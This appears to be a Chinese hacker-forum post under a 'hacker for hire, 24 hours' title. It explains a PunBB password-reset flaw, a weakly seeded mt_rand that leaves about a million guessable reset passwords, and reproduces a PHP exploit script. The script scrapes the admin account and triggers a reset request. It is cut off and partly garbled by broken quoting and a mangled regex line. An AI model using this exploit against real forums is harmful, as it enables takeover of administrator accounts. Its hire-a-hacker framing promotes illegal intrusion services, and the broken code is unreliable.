快捷导航

怎么找网络黑客接单(24小时接单的黑客

[复制链接]
查看: 368|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-10-28 00:00:00 | 显示全部楼层 |阅读模式
PunBB是一款基于PHP的论坛程序。

PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。
如果用户忘记了口令的话,可使用PunBB的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激活链接,用户必须点击这个链接才能使口令更改生效。
PunBB的口令重置功能使用mt_rand()生成新口令和激活链接,但在初始化马特赛特旋转演算法随机数生成器时使用了0到1,000,000之间的随机数,具体取决于当前的微秒,也就是只有100万个可能的新口令和激活链接。攻击者可以暴力猜测这个有限的区域,判断重置的口令并激活。


/**
* Original : http://www.winshell.cn/2008-01.txt
* Thanks to Stefan Esser, here\“s the exploit.
*
* Team : EpiBite
* firefox, petit-poney, thot
* Nous tenons a remercier nos mamans et papas respectifs.
* Let\“s get a fu*** coffee !
*/

// conf
define(\“URL\“, \“http://localhost/punbb_1-2-16_fr/upload\“); // base url
define(\“EMAIL\“, \“login_x@epitech.net\“); // your email
define(\“LOGIN\“, \“login_x\“); // your login
define(\“PASS\“, \“620553.8I73\“); // your pass
// Exploit
printf(“--\nUrl : %s\nEmail : %s\n--\n“, URL, EMAIL);
$h = curl_init();
curl_setopt($h, CURLOPT_URL,
URL.\“/userlist.php?username=&show_group=-1&sort_by=registered&sort_dir=ASC&search=Envoyer\“);
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
$s = curl_exec($h);
preg_match(\“/profile\.php\?id=([0-9]*)“>([^<]*)
define(\“ADMIN\“, $m[2]);
preg_match(\“/([0-9]{4})-([0-9]{2})-([0-9]{2})<\/td/\“, $s, $m);
if (count($m))
define(\“DATE\“, mktime(0, 0, 0, $m[2], $m[3], $m[1]));
else
define(\“DATE\“, time() - 86400); //just in case, the forum or account just has been created
printf(“Admin : %s\nDate : %s\n--\n“, ADMIN, DATE);
$h = curl_init();
curl_setopt($h, CURLOPT_URL, URL.\“/login.php?action=forget_2\“);
// curl_setopt($h, CURLOPT_PROXY, \“proxies.epitech.net:3128\“);
curl_setopt($h, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($h, CURLOPT_HEADER, 1);
curl_setopt($h, CURLOPT_POST, 1);
curl_setopt($h, CURLOPT_POSTFIELDS, implode(\“&\“, array(\“form_sent=1\“,
\“req_email=\“.urlencode(EMAIL),
\“request_pass=Envoyer\“)));
preg_match(\“/mailto:([^“]*)“/\“, curl_exec($h), $m);
define(\“ADMIN_MAIL\“, $m[1]); // Admin email (normally automatically get, set manually if there\“s problem)
printf(“Admin mail : %s\n--\n“, ADMIN_MAIL);  

(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: